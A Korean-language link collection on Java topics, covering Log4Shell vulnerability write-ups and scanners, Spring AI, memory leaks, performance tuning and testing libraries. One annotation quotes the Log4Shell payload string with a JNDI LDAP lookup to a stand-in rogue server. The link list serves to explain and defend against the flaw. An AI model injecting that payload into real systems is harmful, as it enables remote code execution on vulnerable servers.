- Log4J 로깅 레벨 실시간에 바꾸기
- Apache Log4j RCE 제로데이 취약점 — 시행착오를 줄이는 방법
- 하루한줄 CVE-2021-44228: log4shell-전 세계 서버를 공격 가능한 최악의 log4j 취약점 - hackyboiz
- log4j 보안 취약점 동작원리 및 jenkins 서버 확인 방법 | Popit
- Logstash에 대한 log4j 취약점 확인 및 조치 방법 :: Cloud Computing On Demand
- Prisma Cloud Addresses Log4Shell Vulnerability: CVE-2021-44228 Mitigations
- Inside the Log4j2 vulnerability (CVE-2021-44228)
- Log4j 2 보안 취약점 사태 (Log4Shell) | OpenChain KWG
- BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-12 2204 UTC
- Zero-Day Exploit Targeting Popular Java Library Log4j
  - 12월 9일 Log4j에서 ${jndi:ldap://rogueldapserver.com/a}같은 문자열을 로그로 남기게 해서 원격 코드를 실행(RCE, remote code execution)할 수 있게 하는 치명적인 취약점 CVE-2021-4422 발견. Log4j 2.0부터 2.14.1에서 발생
- Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) | LunaSec
  - CVE-2021-44228에 이어 추가로 발견된 CVE-2021-45046 취약점. Log4j를 업그레이드하지 않고 noMsgFormatLookups 플래그를 활성화하거나 %m{nolookups}를 설정했을 때 ThreadContext에 데이터를 저장한다면 공격자가 데이터를 제어 가능. 2.7.0에서 2.14.1까지 존재
- Google Online Security Blog: Understanding the Impact of Apache Log4j Vulnerability
- 기고ㅣ애플리케이션에서 ‘Log4j’ 취약점을 탐지하는 방법 - CIO Korea
- Tech Solvency: The Story So Far: CVE-2021-44228 (Log4Shell log4j vulnerability).
- log4j: between a rock and a hard place
- 역대급 보안구멍 ‘로그4j’ 막아라···개발자들의 고군분투기 - CIO Korea
- 심각한 아파치 log4j 취약점 대응...이렇게 하면 된다 - 데일리시큐
- Log4J vulnerability on the 🔥 ? How to check your application is impacted and fix#devops #devsecops - YouTube
- log4j2-scan CVE-2021-44228-Scanner/README.md at main · logpresso/CVE-2021-44228-Scanner
- Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec
  - log4shell-tester
- log4shell-rex: PCRE RegEx matching Log4Shell CVE-2021-44228 IOC in your logs
tinylog 2 - Lightweight Logging Framework for Java, Scala, Kotlin, and Android
- Java Logger의 또다른 식구, tinylog

Library Spring

Library Spring AI

Spoqa 기술 블로그 | AI를 활용한 주문서 생성 자동화: 카카오톡 주문을 키친보드 주문으로
Building Intelligent Applications With Spring AI - YouTube
- In this presentation, we will explore the world of artificial intelligence (AI) specifically designed for beginners
- We'll start by introducing the fundamental concepts of AI, demystifying its jargon, and exploring its potential impact on our everyday lives
- We'll also explore Spring AI, whose goal is to simplify the development of applications that incorporate artificial intelligence functionality, without introducing unnecessary complexity
- We will cover the basics of setting up a Spring AI project, how to integrate it with existing Spring Boot applications, and how to use its various components to implement common AI-based tasks
- Whether you want to add chatbots to your app, generate recommendations, or analyze sentiments in text, Spring AI provides a streamlined and efficient approach to integrating these features
- By the end of this talk, you will have a solid grasp of AI basics and how to incorporate them into your Spring applications using Spring AI
Spring AI Is All You Need • Christian Tzolov • GOTO 2024 - YouTube
Beyond JSON: Converting Spring AI Tool Response Formats to TOON, XML, CSV, YAML, ...
- Spring AI는 AI 도구 응답 형식을 JSON, TOON, XML, CSV, YAML 등으로 유연하게 변환 가능하게 지원
- JSON 기본 변환 후 TOON 등 다른 형식으로 변환하는 방식을 채택

Library Spring Boot

Memory Leak, OOM, Out of memory

Java에서의 Out Of Memory Error(OOME)에 대한 나름대로의 정리
Hunting Down and Fixing Memory Leaks in Java
Finding Memory Leaks in Java Microservices – Part 1
Finding Memory Leaks in Java Microservices – Part 2
하나의 메모리 누수를 잡기까지
어랏!! 여기에서 OOM이 발생할 줄이야…. OOM 에러 케이스와 함께 Mybatis의 캐시 정책과 GC의 동작방식… | by HAEUN JEONG | Apr, 2022 | 롯데ON 기술 블로그
How to Fix java.lang.OutOfMemoryError: GC overhead limit exceeded Error in JVM Solution
Heap 메모리 누수 이슈: 문제의 원인을 찾는 연역적 과정
긴 텍스트 조회로 인한 OOM 문제 추적기
Open sourcing oomd, a new approach to handling OOMs
- Facebook 인프라 확장에 따라 발생한 여러 부작용 중 메모리 부족(OOM)을 개선하기 위해 전통적인 리눅스 OOM killer 보다 빨리 응답하고 신뢰할 수 있는 솔루션으로 oomd를 개발, 적용,오픈 소스 공개

NetBeans

Truffle Debugging Demo

News

Performance Tuning

Tuning Java Servers
Java 어플리케이션 성능튜닝 Part1
Java 어플리케이션 성능튜닝 Part2
Java 어플리케이션 성능튜닝 Part3
11 Simple Java Performance Tuning Tips
Performance of Modern Java on Data-Heavy Workloads, Part 1 · Hazelcast Jet
Performance of Modern Java on Data-Heavy Workloads, Part 2 · Hazelcast Jet
VDIASI23 - Ana-Maria Mihălceanu - A Glance At The Java Performance Toolbox - YouTube Jlink Jcmd Jstat Jmap JFR
Valhalla
- 미래의 Java 미리보기 - 앰버와 발할라 프로젝트를 중심으로
- Project Valhalla – Java on the path to better performance - Pretius
- 프로젝트 발할라, 야심찬 자바 리팩터의 내부 들여다보기 - ITWorld Korea
  - Java에서 int, byte, short, long, float, double, boolean, char의 프리미티브와 객체로 구분
    - 이 균열을 해소하는 것이 프로젝트 발할라의 목적
  - 객체 참조로 성능 최적화에 어려움이 있고 참조 버킷으로 인해서 부풀려진 메모리가 저장되는 문제 존재
    - 이를 해결하기 위해 값 클래스와 프리미티브 클래스를 도입
Tracing Java's Hidden Performance Traps by Victor Rentea - YouTube

Reactive

Serialization

TDD Test

클린 코드를 위한 TDD (Test-Driven Development for Clean Code)
Implementing a comparable numeric data type in Java the TDD way
0425 TDD 리팩토링 - 자바지기 박재성님 강의
Java TDD 실습
Spring 테스트 코드 작성에 대한 나름의 고찰
Spring RestTemplate Mock 기반 테스트 하기
Spring RestTemplate Get Request With Body - Google Slides
RestTemplate은 스프링에서 제거되나요? - YouTube
xUnit 테스팅 프레임워크를 TDD로 만들어보자 Toby. java 실습. 매우 좋음
Reverse Polish notation is easy with test-driven development
통합 테스트에서 INSERT 쿼리 위한 보조 클래스 :: 자바캔(Java Can Do IT)
Integration Testing from the Trenches - Nicolas Frankel - Singapore Java User Group - YouTube
Step by Step Toward Property Based Testing | LeadingAgile
The Best Java Testing Frameworks to focus in 2021 - pCloudy
테스트 코드 한 줄을 작성하기까지의 고난 – tech.kakao.com
검증부 (assert / expect)는 하드코딩한다
java - When should I use Apache Commons' Validate.isTrue, and when should I just use the 'assert' keyword? - Stack Overflow
java - Cobertura coverage and the assert keyword - Stack Overflow
메세지의 템플릿 내용 단위 테스트 하기
Pragmatic Behavior Driven Development Using Cucumber BDD
테스트 대역폭 늘리기 - Yun Blog | 기술 블로그
MC/DC coverage - YouTube modified condition / decision coverage
10분 테코톡 제이의 단위 테스트 - YouTube
VDIASI23 - Erwin Manders - Test automation guide: How to move away from chain tests - YouTube Junit Jupiter Extensions, Wiremock, Test Container, Contract testing
실무에서 적용하는 테스트 코드 작성 방법과 노하우
- 실무에서 적용하는 테스트 코드 작성 방법과 노하우 Part 1: 효율적인 Mock Test | 카카오페이 기술 블로그
- 실무에서 적용하는 테스트 코드 작성 방법과 노하우 Part 2: 테스트 코드로부터 피드백 받기 | 카카오페이 기술 블로그
- 실무에서 적용하는 테스트 코드 작성 방법과 노하우 Part 3: Given 지옥에서 벗어나기 - 객체 기반 데이터 셋업의 한계 | 카카오페이 기술 블로그
테스트 데이터 초기화에 @Transactional 사용하는 것에 대한 생각
테스트가 관리하는 트랜잭션 - 향로 님의 @Transactional 글을 읽고
- 스프링에서 @Transactional을 이용한 롤백 테스트에 대한 향로님의 글에 대해 토비님 의견
- 기술에서 안티패턴은 많은 경우 동작 방식을 제대로 이해 못한 경우에 발생
- 토비님은 이 글에서 테스트에서 @Transactional이 어떻게 동작하는지 설명
  - 이 문제가 @Transactional의 문제인지 트랜잭션 테스트 자체의 문제인지 짚고
  - 팀의 상황에 따라 여러 가지 테스트 스타일을 사용할 수 있지만
  - 기본적으로 스프링의 @Transactional을 기본으로 쓰고 트랜잭션 상황을 잘 이해하고 있어야 한다고 이야기
테스트에서 @Transactional 을 사용해야 할까? - YouTube
실전에서 TDD하기 | 카카오페이 기술 블로그
자바에서 클래스를 활용한 사용자 정의 타입으로 코드 가독성과 신뢰성 높이기
private 메서드를 테스트하고 싶을 때 어떻게 대처할 것인가
도메인 특화 언어와 단위 테스트 - 1부 :: Eternity's Chit-Chat
도메인 특화 언어와 단위 테스트 - 2부 :: Eternity's Chit-Chat
도메인 특화 언어와 단위 테스트 - 3부 :: Eternity's Chit-Chat
도메인 특화 언어와 단위 테스트 - 4부 :: Eternity's Chit-Chat
도메인 특화 언어와 단위 테스트 - 5부 :: Eternity's Chit-Chat
도메인 특화 언어와 단위 테스트 - 6부 :: Eternity's Chit-Chat
SaaS 테스트 안정감을 N배로 확보할 수 있었던 이유
Mock vs Spy in Mockito — Never Ask Again - Curiosity into Code
ArchUnit Unit test your Java architecture - ArchUnit
- How to test your Java project’s architecture with ArchUnit
- ArchUnit - UnitTest로 아키텍처 검사를
  - 아키텍처 구조와 규칙을 쉽게 정의하고 검사해주는 ArchUnit의 사용법 설명
  - ArchUnit의 테스트를 작성해서 의존관계와 상속 관계 등을 검사하고 레이어 아키텍처 등을 선언형/명령형으로 검사 가능
  - AssertJ와 연동 가능. 네이버에서 Support 패키지는 다른 패키지를 의존하면 안 된다는 규칙, API 문서화를 위한 속성 통일 등의 규칙을 적용
- Unit Test Your Java Architecture With ArchUnit by Roland Weisleder - YouTube
AssertJ - fluent assertions java library
- AssertJ 소개 | Engineering Blog by Dale Seo
- AssertJ가 JUnit의 assertThat 보다 편리한 이유
- Java JUnit의 assertThat보다 assertj의 assertThat을 써야하는 이유
DBUnit
- 스프링부트에서 DbUnit 을 이용하여 DB 테스트해 보기 | 우아한형제들 기술블로그
- DbUnit 적용해보기 예제코드
EvoSuite | Automatic Test Suite Generation for Java 테스트 케이스 자동생성
The Fuzzing Book
JaCoCo Java Code Coverage Library
Jakarta Bean Validation - Home
java-faker: Brings the popular ruby faker gem to Java
jqwik
JUnit
- toby.epril.com/?tag=junit
- JUnit 만들어보기
- JUnit 5 소개
- JUnit 5 Jupiter API 추가 특징: Assumption, @Nested, 태깅과 필터링
- AppEngine unit testing made easy with JUnit Rules
- JUnit 테스트 메소드 실행 순서
- Victor Rentea - Unit Testing like a Pro: The Circle of Purity
- Unit Testing like a Pro - Towards a Testable Design by Victor Rentea
- LocalStack을 활용한 Integration Test 환경 만들기 | 우아한형제들 기술블로그
- 연과 백엔드 팀은 유닛 테스트를 어떻게 할까?
- 단위 테스트 활용 방법: JUnit 참조 가이드
- JUnit: time to shift into 5th gear! Julien Topçu & Juliette de Rancourt
- 더 자바: 코드를 테스트하는 다양한 방법
- JUnit 5 + Kotlin 테스트 클래스에서 생성자 주입 이슈 · 도전하는 개발자
- JUnit5로 계층 구조의 테스트 코드 작성하기 - 기계인간 John Grib
- A Comprehensive Guide On JUnit 5 Extensions
- JUnit 5 Introduction for TDD Development in Java | CodersTea
- 효율적인 JUnit 사용 방법과 유용한 팁 | 요즘IT
- Andy assesses student's test code. It's used in CSE1110, TU Delft.
- Junit and Mockito Tutorial - YouTube
karate: Test Automation Made Simple
- GraphQL e2e테스트 쉽게 하기 with Karate
Mockito framework site
- What is JUnit? | Why Mockito?
- Stubbing and Mocking with Mockito and JUnit - Semaphore Tutorial
- Mock 프레임워크(Mockito)의 핵심 기능 학습 테스트
- 테스트할 수 없는 코드 테스트하기 : 서비스 추상화와 목(Mockito) 프레임워크 활용
- Mockito Invalid use of argument matchers! 에러
- Tips, tricks and gotchas when writing unit tests with Mockito by Jesse Kershaw - YouTube
- Automating Tests in Spring Boot with JUnit and Mockito - DEV Community
MockServer
- mock-server/mockserver: MockServer enables easy mocking of any system you integrate with via HTTP or HTTPS with clients written in Java, JavaScript and Ruby. MockServer also includes a proxy that introspects all proxied traffic including encrypted SSL traffic and supports Port Forwarding, Web Proxying (i.e. HTTP proxy), HTTPS Tunneling Proxying (using HTTP CONNECT) and SOCKS Proxying (i.e. dynamic port forwarding).
- 사내 공통 목서버로 카카오페이 테스트 진입 장벽 낮추기 | 카카오페이 기술 블로그
Real world mutation testing
- 사용하면서 알게 된 Reactor 예제 코드로 살펴보기
- 리액티브 프로그래밍
- Mutation operators
SpotBugs 정적 분석
- 자바 애플리케이션의 보안 검수 방법 살펴보기
Testcontainers - a Java library that supports JUnit tests, providing lightweight, throwaway instances of common databases, Selenium web browsers, or anything else that can run in a Docker container
- TestContainers로 유저시나리오와 비슷한 통합테스트 만들어 보기 - 컬리 기술 블로그
- Testcontainers로 통합테스트 만들기

Tutorial

Web

Spark - A tiny Sinatra inspired framework for creating web applications in Java 8 with minimal effort

FilesExpand file tree

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File metadata and controls

Java

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Concurrency Parallel Thread Akka

Concurrency Parallel Thread Executor

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JDK

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Library Spring Boot

Memory Leak, OOM, Out of memory

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